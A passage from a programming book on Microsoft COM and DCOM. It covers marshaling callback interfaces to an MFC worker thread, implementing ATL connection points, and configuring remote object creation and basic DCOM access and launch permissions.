NULL;// ID of created thread IStream *pStream;// OLE Stream interface ISimpleCallback *pSimple = NULL ;// Copy of this // interface // Query ourselves hr = QueryInterface( IID_ISimpleCallback, (void**)&pSimple); if (!SUCCEEDED(hr)) return hr; // Marshall an interface pointer in the stream hr = CoMarshalInterThreadInterfaceInStream( IID_ISimpleCallback, pSimple, &pStream ); if (!SUCCEEDED(hr)) return hr; // Create a processing thread object CWorkerThread *pObj = new CWorkerThread(); // Set object variables pObj->m_pStream = pStream; pObj->m_lWait = lSeconds; // Create and start a thread to do // some processing. Pass in a // pointer to the thread object. 206 Chapter 12 • Callback Interfaces pt = AfxBeginThread( CWorkerThread::StartProc, pObj ); if (pt == NULL) hr = E_FAIL; // Release our reference to the interface. pSimple->Release(); // Return to the calling client return hr; } The first thing we’re going to do is get an interface pointer to our ISimpleCallback object. We’ll use QueryInterface to get a pointer to the interface. This interface pointer is going to get passed to the worker thread so it can communicate back to us. ISimpleCallback *pSimple = NULL ; // Query ourselves hr = QueryInterface( IID_ISimpleCallback, (void**)&pSimple); Marshaling the Interface Between Threads When we start the worker thread, we’re immediately going to have some tricky threading issues. This is an apartment-threaded server, so the COM object and its worker thread are going to be running in different apartments (i.e. threads). One of the rules of COM is that interfaces must be mar- shaled when used between threads. This means we can’t just use a pointer to the COM interface, we’ve got to set up marshaling code. This is something we haven’t done yet. Fortunately, there’s a simple way to marshal interfaces. We’ll use the CoMarshalInter- ThreadInterfaceInStream method. hr = CoMarshalInterThreadInterfaceInStream( IID_ISimpleCallback, pSimple, &pStream ); Starting the Worker Thread: Part 2 207 Additonal Information and Updates: http://www.iftech.com/dcom We’re using IStream for inter-thread marshaling. The IStream interface will be used to pass a COM pointer between the main server thread, and our worker thread. IStream is one of those ubiquitous OLE interfaces that you often see used in COM code. The receiving end of this call will be CoGetInterfaceAn- dReleaseStream, which will be called on the worker thread. The end result of this process is an IStream object, that is used to marshal the ISimpleCallback interface. Later on, we’re going give a pointer to the IStream to our worker thread object. If you want more information on streams, see any of the numer- ous OLE books and articles. Starting the Worker Thread: Part 2 First we’re going to instantiate our worker thread object. We’ll show the definition of CWorkerThread in the next section. The CWorkerThread class has two member variables. The IStream pointer stores the IStream we created with CoMarshalInter- ThreadInterface-InStream. The m_lWait member is used to set the timeout period of the worker thread. The worker thread will basically sleep this amount of time before it notifies the client that it’s finished. CWorkerThread *pObj = new CWorkerThread(); // Set object variables pObj->m_pStream = pStream; pObj->m_lWait = lSeconds; // Create and start a thread to do // some processing. Pass in a // pointer to the thread object. pt = AfxBeginThread( CWorkerThread::StartProc, pObj ); if (pt == NULL) hr = E_FAIL; 208 Chapter 12 • Callback Interfaces One of the standard ways to start a thread in MFC is AfxBe- ginThread. We’ll pass it a pointer to a static ThreadProc, and a pointer to our worker thread object. The main routine of a worker thread is called a “Thread- Proc”. A ThreadProc is analogous to the “main” function of a “C” program, or the “WinMain” of a Windows application. This is the starting address of the newly created thread. We’ll name our ThreadProc “StartProc”. Notice that the ThreadProc is a static member of the CWorkerThread class. Being static is a require- ment - AfxBeginThread will be given the address of this method. AfxBeginThread starts a worker thread, and transfers control to the ThreadProc. AfxBeginThread always passes in a single parameter to the worker thread, a pointer. In this case, we’re going to give the worker thread a pointer to our CWorkerThread object. Let’s look at the definition of that object. A Simple Worker Thread Class We’re going to define a class that encapsulates the threading behavior we need. This class is going to run as a worker thread, which means it doesn’t have a window or a message loop. This class will do its processing, then exit. class CWorkerThread : public CwinThread { public: // Thread start function. Must be static. static UINT StartProc( LPVOID pParam ); // pointer to stream interface used in marshaling pointer IStream *m_pStream; // number of seconds to wait long m_lWait; }; As you can see, this is a simple class definition. We’re going to put all the thread’s processing logic into the one and only Starting the Worker Thread: Part 2 209 Additonal Information and Updates: http://www.iftech.com/dcom method - the ThreadProc. For more sophisticated processing, you’ll need a more sophisticated thread class. Implementing the Worker Thread The worker thread only has a single method. This method will do all the required calculations, then send a message back to the client when it’s done. Here’s the one and only worker thread method: UINT CWorkerThread::StartProc( LPVOID pParam) { HRESULT hr; // Get the object pointer //we passed in to AfxBeginThread. CWorkerThread *pThis = (CWorkerThread*)pParam; // Pointer to parent COM object ISimpleCallback *pSimple; // init apartment model for this thread hr = CoInitialize(0); // Get marshaled interface from stream hr = CoGetInterfaceAndReleaseStream( pThis->m_pStream, IID_ISimpleCallback, (void**)&pSimple); // DO SOME REAL PROCESSING HERE! // Spoof processing with a sleep Sleep( pThis->m_lWait * 1000); // Signal client that processing is done. hr = pSimple->Now( pThis->m_lWait ); // Note: This pointer will be // marshaled from this worker thread // back to the main server thread. 210 Chapter 12 • Callback Interfaces // The actual Now() method // gets called from the main server thread. // Shutdown com on this thread CoUninitialize(); // Delete CWorkerThread object delete pThis; // ThreadProcs usually return 0 return 0; } The first thing the thread does is extract a pointer from the startup parameter. Remember, this is a static method, and it doesn’t have a “this” pointer. To work around this, we’ve passed in a pointer to a CWorkerThread object that was previously instantiated (on the other thread.) This gives a working context. // Get the object pointer we passed // in to AfxBeginThread. CWorkerThread *pThis = (CWorkerThread*)pParam; Next, we need to extract information from that object. The first thing we’re going to use is the IStream interface that will marshal our callback COM interface. CoGetInterfaceAndReleas- eStream does exactly what its name implies: it extracts the ISim- pleCallback interface from the stream, and cleans up the stream. The end result of this call is a usable ISimpleCallback interface pointer. hr = CoInitialize(0); // Get marshaled interface from stream hr = CoGetInterfaceAndReleaseStream( pThis->m_pStream, IID_ISimpleCallback, (void**)&pSimple); The COM interface ISimpleCallback is safely marshaled between threads. We can call its methods without fear of thread- ing problems. Summary 211 Additonal Information and Updates: http://www.iftech.com/dcom Now, we get to the actual processing step of the worker thread. Because this is an example program, there isn’t any real processing. To simulate a time consuming operation, we’re going to waste some time with a Sleep. Sleep( pThis->m_lWait * 1000); Once this wait is finished, the worker thread is ready to kill itself. Before we exit, however, we need to tell the client pro- gram we’re finished. This is done by calling the familiar Now() method. hr = pSimple->Now( pThis->m_lWait ); The ISimpleCallback interface was marshaled to the original thread, so it will be executed on the server’s original thread. We need to do this, because that main thread owns the client’s ICall- Back interface. If we tried to call the Awake method directly, bad things might happen. Instead of dealing with Awake directly, we’re letting the Now() method handle it on the original server object. All Good Threads Eventually Die What remains is just cleanup code. We close COM, delete the worker thread object and exit the thread. At this point we’ve fin- ished implementing our worker thread. CoUninitialize(); delete pThis; return 0; Summary Normally, COM interfaces are one-directional and synchronous. More sophisticated programs are going to have to move beyond this model. If you’re going to use COM to establish two-way communication between client and server, you’re going to have 212 Chapter 12 • Callback Interfaces to deal with callbacks. The other alternative, Connection Points, is really just a specialization of callbacks. Implementing callbacks may seem unnecessarily compli- cated - and it probably is. To effectively implement callbacks, you have to have a basic understanding of threading models and marshaling. Most of us are interested in building applications, not the minutia of marshaling. T H I R T E E N 13 Connection Points In the previous chapter, we built a client and server program that demonstrated bi-directional, or callback, interfaces. Connection points are really just a special type of callback interface. Actually, for many applications, callbacks are the preferred type of bi- directional interface. What makes connection points special is the fact that they offer a standardized technique and a set of interfaces for two- way communications. Connection points aren’t so much a single entity as they are a set of interlocking interfaces. The main advantages of connection points over callbacks are standardization and flexibility. In the OLE world, many types of objects expect an implementation of connection points. An example of this is IQuickActivate interface, which requires IPropertyNotifySink as a sink interface. These objects need to communicate back to their clients. If you skipped the chapter on callbacks, consider going back and reading it. Most of the background on con- nection points is covered in the callback chapter. 214 Chapter 13 • Connection Points Connection points offer flexibility in their implementation. A server can have numerous client (sinks) attached, or a single cli- ent can have numerous servers. Connection points work well with either configuration. If your server design needs this flexi- bility, connection points may be a good choice. Here’s a list of connection point classes and interfaces we’ll be using in the example. Figure 13–1 Configuration of a server and client using connection points Interface or class Where Description IConnectionPointContainerImpl Server ATL class to manage a collection of connection points. The client will use this interface to find the connection point it needs. IConnectionPointImpl Server ATL class to implement the con- nectable object on the server. This class allows the client to register (Advise) and un-register (UnAdvise) its sink objects. A COM object may use this tem- plate to implement multiple Connection Points. ICallBack ICpTest CallbackServer CPClient Client Application CCpTest Object IConnectionPointContainer ICallBack Container IConnectionPoint CCallBack Object Modifying the Callback Server 215 Additonal Information and Updates: http://www.iftech.com/dcom You’ll notice that the ATL classes are named like interfaces. Normally we would expect anything starting with an “I” to be an interface, which is just a definition. The ATL code for these inter- faces will provide a full implementation of the interface. Modifying the Callback Server Rather than writing a separate project to demonstrate connection points, we’re going to modify the example programs from the previous chapter. Connection points and callbacks are so similar that we can re-use most of this example, while adding only those parts necessary for connection points. We’re going to use the same server we used for the callback example. Open the CallbackServer project and do the following: 1. Insert a new ATL object using the "Insert/New ATL Object" menu 2. Name the new object CpTest 3. Select Apartment Threading CCallBack Client The callback object imple- mented by the client. This is a user-defined interface that the sever can call to notify it of important events. ICallBack Client The callback interface. CCpTest Server Our user-defined ATL object on the server. This object imple- ments connection points. ICpTest Server The interface of the CCpTest object. _ICpTestEvents Server The connection points class cre- ated by the ATL object wizard, but not used. We used ICallBack instead. Table 13.1 Connection point classes and interfaces Description here 216 Chapter 13 • Connection Points 4. Select Custom Interface 5. Aggregation doesn’t matter 6. Check the "Support Connection Points" check box 7. Press the OK button and add the object Selecting the "Support Connection Points" box added sev- eral additional lines of code to the object definition. The server class is defined in the file CpTest.h. -- look in this file for the def- initions added by the wizard. Here’s the class definition: class ATL_NO_VTABLE CCpTest : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CCpTest, &CLSID_CpTest>, public IConnectionPointContainerImpl<CCpTest>, public IConnectionPoinImpl<CCpTest,&IID_ICallBack>, public ICpTest ... The ATL template class IConnectionPointContainerImpl was included in the multiple inheritance of CCpTest. This class is a container to manage a list of connection points. You can use IConnectionPointContainerImpl to find a specific connection point attached to the server. The wizard also added the container object to the COM map of CCpTest. The other interface in this map is, of course, the ICpTest interface. BEGIN_COM_MAP(CCpTest) COM_INTERFACE_ENTRY(ICpTest) COM_INTERFACE_ENTRY(IConnectionPointContainer) END_COM_MAP() The ATL Object wizard added a Connection Point Map to the object. Initially, the map is empty. We will add entries to it later. A server object can support numerous different connection point types. This means a single server object can support con- nection points to many different types of client sink objects. These will be listed in the connection point map. Modifying the Callback Server 217 Additonal Information and Updates: http://www.iftech.com/dcom The wizard also added the actual connection point to the class inheritance. Each connection point object is explicitly tied to a sink interface on the client. In this case, we’re going to use the ICallBack interface. This is exactly the same interface we used for the callback example, has already been implemented by the client. The wizard doesn’t add everything we need. We’re going to add the individual connection points to the object. Much of this code is just boilerplate. We will explain it briefly, but the only way to understand it is to see how it all fits together. The actual connection point class is an ATL template ICon- nectionPointImpl. public IConnectionPointImpl<CCpTest,&IID_ICallBack>, The client sink interface we just added must also be put in the object’s connection point map. This allows the container (IConnectionPointContainer) object to use the callback. The map needs the GUID of the interface on the client. BEGIN_CONNECTION_POINT_MAP(CCpTest) CONNECTION_POINT_ENTRY( IID_ICallBack ) END_CONNECTION_POINT_MAP() The last thing we need to add is the test methods. This isn’t part of the actual connection point set up, but we’ll need it for the demonstration. We will add them as two standard COM methods to CCpTest. We will add the MIDL definition, and the definition to the header file. Thefollowing lines go in the definition of ICpTest interface (in the file CallbackServer.IDL). You can use either the "Add Method" from the class view, or type it directly into the IDL: HRESULT Now2([in] long lCode); HRESULT Later2([in] long lSeconds); Each method has one parameter - it will be called by the cli- ent to exercise the connection points we are implementing. The 218 Chapter 13 • Connection Points last step is to put the matching definition the C++ header (CpTest.H). public: STDMETHOD(Later2)(/*[in]*/ long lSeconds); STDMETHOD(Now2)(/*[in]*/ long lCode); Here is the completed listing, with the required objects inserted. The new code for connection points is in bold. /////////////////////////////////////////////// class ATL_NO_VTABLE CCpTest : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CCpTest, &CLSID_CpTest>, public IConnectionPointContainerImpl<CCpTest>, public IConnectionPointImpl<CCpTest,&IID_ICallBack>, public ICpTest { public: CCpTest() { } DECLARE_REGISTRY_RESOURCEID(IDR_CPTEST) DECLARE_PROTECT_FINAL_CONSTRUCT() BEGIN_COM_MAP(CCpTest) COM_INTERFACE_ENTRY(ICpTest) COM_INTERFACE_ENTRY(IConnectionPointContainer) END_COM_MAP() BEGIN_CONNECTION_POINT_MAP(CCpTest) // Client callback (sink) object CONNECTION_POINT_ENTRY( IID_ICallBack ) END_CONNECTION_POINT_MAP() // ICpTest public: STDMETHOD(Later2)(/*[in]*/ long lSeconds); STDMETHOD(Now2)(/*[in]*/ long lCode); }; Modifying the Callback Server 219 Additonal Information and Updates: http://www.iftech.com/dcom The implementation of Now2() will be covered a little later. This method is going to be quite different from its equivalent in the callback test. The Later2() method will be functionally identi- cal to the callback example. It will only be necessary to change the name of the interface from ISimpleCallback to ICpTest. After the client has been explained, we will cover this code. Now we have the infrastructure for the connection points on the server. Most of it was added by clicking the "Support Con- nection Points" option in the ATL wizard. Note that the wizard also added the following interface to the IDL code: dispinterface _ICpTestEvents { properties: methods: }; We’re not going to use this interface in our example. This is the suggested name for the callback interface that the connection points will support. We are going to substitute our ICallBack interface. The wizard also added the following code to the defi- nition of the CpTest object in the IDL code: [default, source] interface _ICpTestEvents; Replace _ICpTestEvents with the ICallBack interface. The code should now look like this: [ uuid(A47ED662-5531-11D2-85DA-004095424D9A), helpstring("CpTest Class") ] coclass CpTest { [default] interface ICpTest; [default, source] interface ICallBack; }; 220 Chapter 13 • Connection Points The "[source]" attribute in the IDL code tells COM that the CpTest coclass is the source of ICallBack events. In other words, this object will be calling the client’s ICallBack interface. The source keyword doesn’t seem to have any actual effect on the behavior of the interface. Adding Connection Points to the Client Program The connection point client program is going to be very similar to the callback client. You can either modify the existing Call- backClient project, or create a new project named CpClient. I’ve added a new project, and cloned much of the code from the call- back example. 1. Create a new MFC project. 2. Choose a Dialog Application Now, edit the dialog to look like this: Figure 13–2 The sample application is an extremely simple dialog Note: Build the server, and don’t forget to build the Proxy/Stub DLL. Use the BuildMe.bat file to automate this task. We’ll add the Now2 and Later2 implementation later, but the MIDL code won’t change. The test client requires these MIDL generated headers. Adding Connection Points to the Client Program 221 Additonal Information and Updates: http://www.iftech.com/dcom Add the following controls and events through the Class- Wizard: 1. Name the two buttons IDC_BUTTON_NOW, and IDC_BUTTON_LATER. 2. Attach the methods OnButtonNow() and OnButtonLater(). This dialog is functionally identical to the callback example. Add the Callback Object to the Client Add the callback object to this project. This object is identical to the callback object in the CallbackServer project. Cut and paste the definition of CCallBack into the CPClient.cpp source file. Also remember to include the "CallbackServer_i.c", and "h" file from the server. Note that there is absolutely no difference between the call- back object used for callbacks, and for connection points. This sink object will behave identically, and will be called by the server (source) in an identical way. Modifying the CpClient Application We’re now going to add initialization and shutdown code to the main application class, CCpClientApp. BOOL CCPClientApp::InitInstance() { AfxEnableControlContainer(); InitCOM(); // Standard initialization ... Add the InitCOM function to the class header. Enter the fol- lowing code. Note that this is now identical to the CallbackClient application. We’re adding the InitCP method, instead of calling Advise directly. BOOL CCPClientApp::InitCOM() { 222 Chapter 13 • Connection Points HRESULT hr; CoInitialize(0); // Initialize COM // Initialize the main ATL object _Module.Init( ObjectMap, 0 ); // Create a server object m_pCP = NULL; hr = CoCreateInstance( CLSID_CpTest, 0, CLSCTX_SERVER,IID_ICpTest, (void**)&m_pCP ); ASSERT( SUCCEEDED(hr) ); if (SUCCEEDED(hr)) { // Create a callback object CComObject<CCallBack>* pCallBack = NULL; CComObject<CCallBack>::CreateInstance( &pCallBack ); pCallBack->AddRef(); InitCP( pCallBack ); // Done with our ref count. Server did an AddRef pCallBack->Release(); } return SUCCEEDED(hr); } Initializing connection points is going to take some extra code, so we’ve isolated it in a separate method. I’ve covered the rest of this code in the previous chapter. Registering With the Server’s Connection Point Interface We’re now going to interrogate the server COM object for infor- mation about its connection points implementation. The InitCP method was designed to do double duty. It is able to both regis- ter and unregister with the server’s connection point interfaces. Registering With the Server’s Connection Point Interface 223 Additonal Information and Updates: http://www.iftech.com/dcom This method will be called both from InitCOM, and from ExitIn- stance; ExitInstance will pass a NULL pCallBack pointer. InitCP is a new method so you must add the definition to the CCpClien- tApp class (in CpClient.h). HRESULT CCPClientApp::InitCP(IUnknown* pCallBack) { HRESULT hr; IConnectionPointContainer *pConnPtCont; IConnectionPoint * pConnPt; // Get a pointer to the // connection point manager object hr = m_pCP->QueryInterface( IID_IConnectionPointContainer, (void**)&pConnPtCont); ASSERT( SUCCEEDED(hr) ); // crash if failed if (SUCCEEDED(hr)) { // This method is the QueryInterface // equivalent for an outgoing // interfaces. See if the server supports // connection points to our callback interface hr = pConnPtCont->FindConnectionPoint( IID_ICallBack, &pConnPt); ASSERT( SUCCEEDED(hr) ); // crash if failed // Release the container object pConnPtCont->Release(); if (SUCCEEDED(hr)) { // Register the Connection Point if (pCallBack != NULL) { // Establish connection between // server and callback object hr = pConnPt->Advise(pCallBack, &m_lCookie); } else // Remove the Connection Point 224 Chapter 13 • Connection Points { // Remove connection hr = pConnPt->Unadvise(m_lCookie); } // Release connection point object pConnPt->Release(); } } return hr; } We start the function by getting a pointer to the server’s IConnectionPointContainer interface. This interface points to the object that the server uses to keep track of its connection points. Since we already have a pointer to the ICpTest interface, we can use QueryInterface(). IConnectionPointContainer *pConnPtCont; // Get a pointer to the connection // point manager object hr = m_pCP->QueryInterface( IID_IConnectionPointContainer, (void**)&pConnPtCont); Now we can ask the connection point container for a spe- cific type of connection point. In this case, we want one that handles the ICallBack interface that our client implements. Call- ing FindConnectionPoint() on the container will give us the call- back interface. Once we have the connection point object, we’re done with the container, so it is released. Since we wrote the server object, we can be pretty sure it supports the ICallBack callback interface. hr = pConnPtCont->FindConnectionPoint( IID_ICallBack, &pConnPt); // Release the container object pConnPtCont->Release(); Registering With the Server’s Connection Point Interface 225 Additonal Information and Updates: http://www.iftech.com/dcom If we call InitCP with an ICallBack interface pointer, we are registering the sink object with the server. If a NULL pointer is passed in, the sink object will be un-registered. Calling Advise() on the server object registers the sink object. Advise is imple- mented in the ATL class IConnectionPointImpl. It is very similar to the Advise() method we wrote for our custom callback. On the server, Advise makes a copy of the sink interface, and returns a unique cookie to identify it. Once Advise has been called, we can release the sink object we passed it. if (pCallBack != NULL) { // Establish connection between // server and callback object hr = pConnPt->Advise(pCallBack, &m_lCookie); } The mirror image method for Advise() is Unadvise(). This method will remove the sink object from the server’s list of con- nection points. Unadvise() checks the cookie, and terminates the connection. This code will be called when InitCP is called from ExitInstance. else // Remove the Connection Point { // Remove connection hr = pConnPt->Unadvise(m_lCookie); } Add the ExitInstance method to the CPClientApp applica- tion. This method is called when the application shuts down: int CCPClientApp::ExitInstance() { // If we have a server object, release it if (m_pCP != NULL) { // Remove servers callback connection InitCP(NULL); // Release the server object 226 Chapter 13 • Connection Points m_pCP->Release(); } // Shut down this COM apartment CoUninitialize(); return 0; } Adding the Now and Later Buttons Enter the following code for the Now and Later buttons. This code is functionally identical to the CallbackClient program. It is added to the application’s main dialog class, CCPClientDlg. void CCPClientDlg::OnButtonNow() { HRESULT hr; CCPClientApp *pApp = (CCPClientApp*)AfxGetApp(); hr = pApp->m_pCP->Now2(1); if (!SUCCEEDED(hr)) AfxMessageBox( "Call Failed" ); } void CCPClientDlg::OnButtonLater() { HRESULT hr; CCPClientApp *pApp = (CCPClientApp*)AfxGetApp(); hr = pApp->m_pCP->Later2(5); if (!SUCCEEDED(hr)) AfxMessageBox( "Call Failed" ); } We’ve now completed the client application. Let’s go back and implement the Now2() method on the server. Using the Connection Point - the Server Side So far, on the server, we’ve added a connection point map and a connection point object. Just adding these objects really doesn’t give much insight on how to use them. Using the Connection Point - the Server Side 227 Additonal Information and Updates: http://www.iftech.com/dcom At some point in the execution of the server, it will need to make a call back to the client. Normally, this will be in response to some triggering event. Here’s the implementation code. STDMETHODIMP CCpTest::Now2(long lCode) { HRESULT hr = S_FALSE; // Lock the object Lock(); // Get first element in CComDynamicUnkArray. // m_vec is a member of IConnectionPointImpl IUnknown** pp = m_vec.begin(); ICallBack* pICp = (ICallBack*)*pp; if (pICp) { // Call method on client hr = pICp->Awake( lCode ); } // Unlock the object Unlock(); return hr; } The first thing this method does is lock the COM object. This takes ownership of the critical section protecting the mod- ule. Lock is implemented in the ATL CComObjectRootEx base class. Lock is paired with the Unlock() at the end of the method. Our COM object inherited from the ATL class IConnection- PointImpl, which contains a list of connection points. The vari- able m_vec is of type CComDynamicUnkArray, which holds a dynamically allocated array of IUnknown pointers. Before this method is called, the client has done a consider- able amount of set-up. Recall that the client called Advise() on the connection point container. When Advise() was executed, it made a copy of the client sink interface. This is the interface saved in m_vec. 228 Chapter 13 • Connection Points Because we only have one connected client sink, we get the first pointer in the m_vec array. We call Awake() on the client sink object. The result of this is that Awake() gets called on the client process, causing a message box to display. Not a very impressive result for all the work we’ve had to do. Adding the Later2 Method The implementation of the Later2 method is identical to the Later method in the ISimpleCallback object. Just cut-and-paste this code, changing only the name of the interface. The worker thread will behave identically. When the worker thread calls the Now2 method, it will properly navigate the connection point map. If you had registered multiple callback interfaces, you would iterate through the m_vec collection. Summary The implementation of our connection point example was mostly a cut-and-paste modification of the callback example. The few lines of code that are different handle the navigation of the ATL connection point container classes. One reason to implement connection points is the fact that you are working with OLE clients (such IQuickActivate with IPropertyNotifySink). Or, if you are handling multiple sink (call- back) objects, connection points may make your life easier. Both callbacks and connection points do approximately the same thing, and implementing one or the other can add a lot of func- tionality to your servers. F O U R T E E N 14 Distributed COM So far we haven’t ventured very far away from our computer. All the COM examples so far have been for clients and servers run- ning on the same machine. In this section we’ll discuss how to extend our range into the area of DCOM and distributed comput- ing. There is some good and bad news here. The good news is that converting from COM to DCOM is easy. The bad news: there are many more things that can go wrong. Foremost among these problems are security issues. An Overview of Remote Connections Most of the differences between COM and DCOM are hidden from the developer. For example, local COM uses LPCs (Local Procedure Calls), and DCOM uses RPCs (Remote Procedure Calls). As a programmer you would never notice the difference, except that RPCs are slower. There’s also a whole new level of security and remote activation going on. There are only a few things in your program you’ll need to change. Like all COM communication, everything starts when the cli- ent requests an interface from a server. In DCOM, the client calls 230 Chapter 14 • Distributed COM CoCreateInstanceEx(), passing in a description of the server computer, and requesting a CLSID and Interface. This request is handled by the Service Control Manager (SCM), which is a part of Windows. The SCM is responsible for the creation and activation of the COM object on the server com- puter. In the case of DCOM, the SCM will attempt to create the object on the remote computer. Once the remote COM object has been created, all calls will be marshaled through the Proxy and Stub objects. The proxy and stub communicate using RPCs (Remote Procedure Calls) as a mechanism. RPCs will handle all the network interaction. On the server side, marshaling is taken care of by the stub object. The transmittal of data across the network is taken care of by RPCs. RPCs can run on a number of protocols, including TCP/ IP, UDP, NetBEUI, NetBIOS, and named pipes. The standard RPC protocol is UDP (User Datagram Protocol). UDP is a connection- less protocol, which seems like a bad fit for a connection-ori- ented system like DCOM. This isn’t a problem however, because RPCs automatically take care of connections. At the time of writing, only TCP/IP was available on Win- dows 95. This can be an annoying limitation, requiring you to install TCP/IP on all Windows 95 systems, even when other net- work protocols are available. Figure 14–1 Components of clients and servers in when using Distributed COM Client Program Proxy Object Network Protocol Stack SCM RPC Security Hardware COM Object Stub Object Network Protocol Stack SCM RPC Security Hardware CoCreateInstanceEx( ) Network Client Computer Server Computer CoCreateInstanceEx( ) Converting a Client for Remote Access 231 Additonal Information and Updates: http://www.iftech.com/dcom Perhaps the single most frustrating aspect of DCOM is secu- rity. Windows 95/98 doesn’t have enough security, while Win- dows NT seems to have too much. As always, NT security is a complex and specialized field. There are various levels and lay- ers of security. Our examples will only cover the most basic uses. On a large network, it’s almost guaranteed that you’ll spend time handling security issues for your distributed applica- tions. Converting a Client for Remote Access There are two ways to connect to a remote server. You can make slight changes to your program, or you can change the server registration. Of these two, changing the program is the better choice. Once the program is converted to work remotely, it will work locally without any changes. Changing the server registration is also a possibility. You can put the remote connection in the registry, and COM will auto- matically make the connection. We’ll cover this topic later. There’s very little programming required to make a client work with remote connections. When you create the remote COM object you need to specify a COSERVERINFO structure. You’ll notice that CoCreateInstance() doesn’t have a place for this structure, so you’ll have to use CoCreateInstanceEx() instead. The COSERVERINFO structure should be set to zero, except for the pwszName member, which points to the server name. This isn’t as easy as it may seem. The pwszName member is a wide character (UNICODE) string. If you’re not already using wide characters, you’ll need to convert a string to wide charac- ters. There are a number of ways to do this: • Use the mbtowc() function. This string converts a multi- byte (char*) string to a wide string. • Use the CString.AllocSysString() method. • Use the SysAllocString and SysFreeString API. Here is one way to accomplish this conversion: CString strServer = “ComputerX”; 232 Chapter 14 • Distributed COM // Remote server info COSERVERINFO cs; // Init structures to zero memset(&cs, 0, sizeof(cs)); // Allocate the server name in // the COSERVERINFO structure cs.pwszName = strServer.AllocSysString(); The server name is usually going to be a standard UNC (uni- versal naming convention) name. This would take the form of "server", or "\\server". You can also use DNS names, with the format of "www.someserver.com", or "server.com". A third option is to specify a TCP/IP address here, e.g. "123.55.5.0". This name will have to be compatible with your network transport. The CoCreateInstanceEx() function takes different parame- ters than its precursor, CoCreateInstance(). Specifically, this extended function takes the COSERVERINFO as its 4th argument. You can still use this call for local connections. Just pass in a NULL for the COSERVERINFO pointer. Perhaps the most interesting difference is the last two parameters. For remote connections we obtain interface pointers a little differently than we do for local connections. CoCreateInstan- ceEx() takes an array of MULTI_QI structures instead of a plain IUnknown pointer. The MULTI_QI structure receives an array of interface pointers. This is done to reduce the number of calls to CoCreateInstance() across the network. The designers of DCOM did this in recognition of the fact that network performance can be slow. The MULTI_QI structure has the following members: typedef struct _MULTI_QI { const IID* pIID; // Pointer to an interface identifier IUnknown * pItf; // Returned interface pointer HRESULT hr; // Result of the operation } MULTI_QI; You pass in an array of these structures. Each element of the array is given an Interface ID (IID) of an interface. If the function Converting a Client for Remote Access 233 Additonal Information and Updates: http://www.iftech.com/dcom succeeds, you’ll get back a pointer to the interface in pItf. If there is an error, the hr member will receive the error code. Here’s how to initialize the MULTI_QI structure. You can make the array any size required (often it is just one element long): MULTI_QI qi[2]; // Create an array of 2 structures memset(&qi, 0, sizeof(qi)); // zero the whole array qi[0].pIID = &IID_IinterfaceX // add an interface qi[1].pIID = &IID_IinterfaceY; // add another You pass both these structures along with the usual parame- ters. CoCreateInstanceEx() also needs the length of the MULTI_QI array, and a pointer to the first element. // Create a server COM object on the server. HRESULT hr = CoCreateInstanceEx(CLSID_CMyServer, NULL, CLSCTX_SERVER, &ServerInfo, 2, qi); // check the qi codes if (SUCCEEDED(hr)) { // also check qi hresult hr = qi[0].hr; } if (SUCCEEDED(hr)) { // extract interface pointers from // MULTI_QI structure m_pComServer = (ICpServer*)qi[0].pItf; } We have more than one COM status to check. CoCreateIn- stanceEx() returns a status like every COM library call. We also need to check the status of each element in the MULTI_QI array. The server may return different statuses, depending on weather the requested interface is supported. You’ll have to check the hr member of each MULTI_QI element. If the status is OK, the interface pointer can be extracted from the array. The pItf member will contain a valid interface pointer. This interface can now be used normally. 234 Chapter 14 • Distributed COM Once the connection has been established, there are no dif- ferences between COM and DCOM. All the DCOM extensions work equally well for local connections. You’ll hear this referred as Local/Remote Transparency. This is one of the most powerful features of COM. Adding Security Once you start connecting to the outside world, you will quickly run into a multitude of security issues. Security is an area where there are significant differences between Windows NT and Win- dows 95/98. In general, NT provides a rich and bewildering set of security options. Window 95/98 on the other hand, provides the bare minimum required to exist on a network. Many of the concepts that follow apply primarily to Window NT. Window 95 is inherently insecure. Generally COM has reasonable defaults for most security settings. By using DCOMCNFG and some basic settings, you can get most client/server systems to run. If you need a high level of security, you’ll need to delve into the many levels of COM secu- rity. Here we will cover the basic tools used to control COM security to help get you started.See the error-handling appendix for further details. Security Concepts DCOM has numerous levels of security. Many of DCOM’s secu- rity features are borrowed from other subsystems. RPCs provide the basis for COM security, and many of the concepts used come directly from RPCs. The most basic security level of DCOM is provided by the network. Most networks provide some level of login security. If the local area network is a Windows NT domain, for example, network logins are managed and restricted by the domain con- troller. Having a secure network environment goes a long way towards making the DCOM environment secure. Access Permissions 235 Additonal Information and Updates: http://www.iftech.com/dcom Of course, some networks must provide relatively open access to users. If you provide access to guest accounts, other domains or a large user community, things are going to be wide open. It’s only a matter of time before someone starts hacking your systems. There is also some basic network security. Most networks check to ensure that all data packets are legitimate. This means the network may filter out altered or damaged network traffic. This also adds a significant level of security to DCOM. Access Permissions DCOM runs on top of RCPs, and inherits much of its security from the RPC mechanism. Fortunately, RPCs have been around for quite awhile and have developed a good set of security tools. Much of what follows is actually RPC-based security that has been piggybacked into DCOM. Access permission security determines if a particular user has access to your COM application. Access security checking is done for the entire application (or process). Depending on the object, you may allow only certain users to have access, or you can deny access to particular users. For a Windows NT domain, the administrator has probably set up special users and groups, otherwise you’ll get the default groups. DCOM gets a security descriptor from the registry. This value is stored as a binary array under the AppID key. DCOM checks this value against that of the caller. [HKEY_CLASSES_ROOT \AppID{<AppID>}] "AccessPermission" = hex: Security ID DCOM sets up defaults for access security. If an application requires more security, it can drill down into more sophisticated security implementation. Checking can be done for the object, for the method call, and even for the individual parameters of the method call. 236 Chapter 14 • Distributed COM You can either allow or deny permission to any user, or group of users. Windows 95/98 has very weak user level security. For Win- dows 95/98, the user information will be provided by some other system on the network. Usually this would be the domain controller. If you try to connect to a server without sufficient access permission, you will probably get the "Access Denied" error. Launch Permissions Launch Security determines if a caller can create a new COM object in a new process. Once the server has been launched, this permission does not apply. When a client requests a new COM object, it does not create it directly. COM itself is responsible for the creation of the object. Before it creates the object, it checks to see if the caller has per- mission to do so. Because DCOM allows remote activation, any computer on the network can try to start a server. Your COM objects are potentially vulnerable to anyone on your network. Good security practices require that COM doesn’t even start the object if the caller doesn’t have permission to use it. Launch permission for an application is defined in the AppID key. [HKEY_CLASSES_ROOT \AppID{<AppID>}] "LaunchPermission" = hex: Security ID A security ID is a unique number that identifies a logged-on user. The SID can also represent groups of users, such has Administrators, Backup Operators, and Guests. This SID is unique and is valid on the local system and the network (provided there is a domain controller controlling the network). 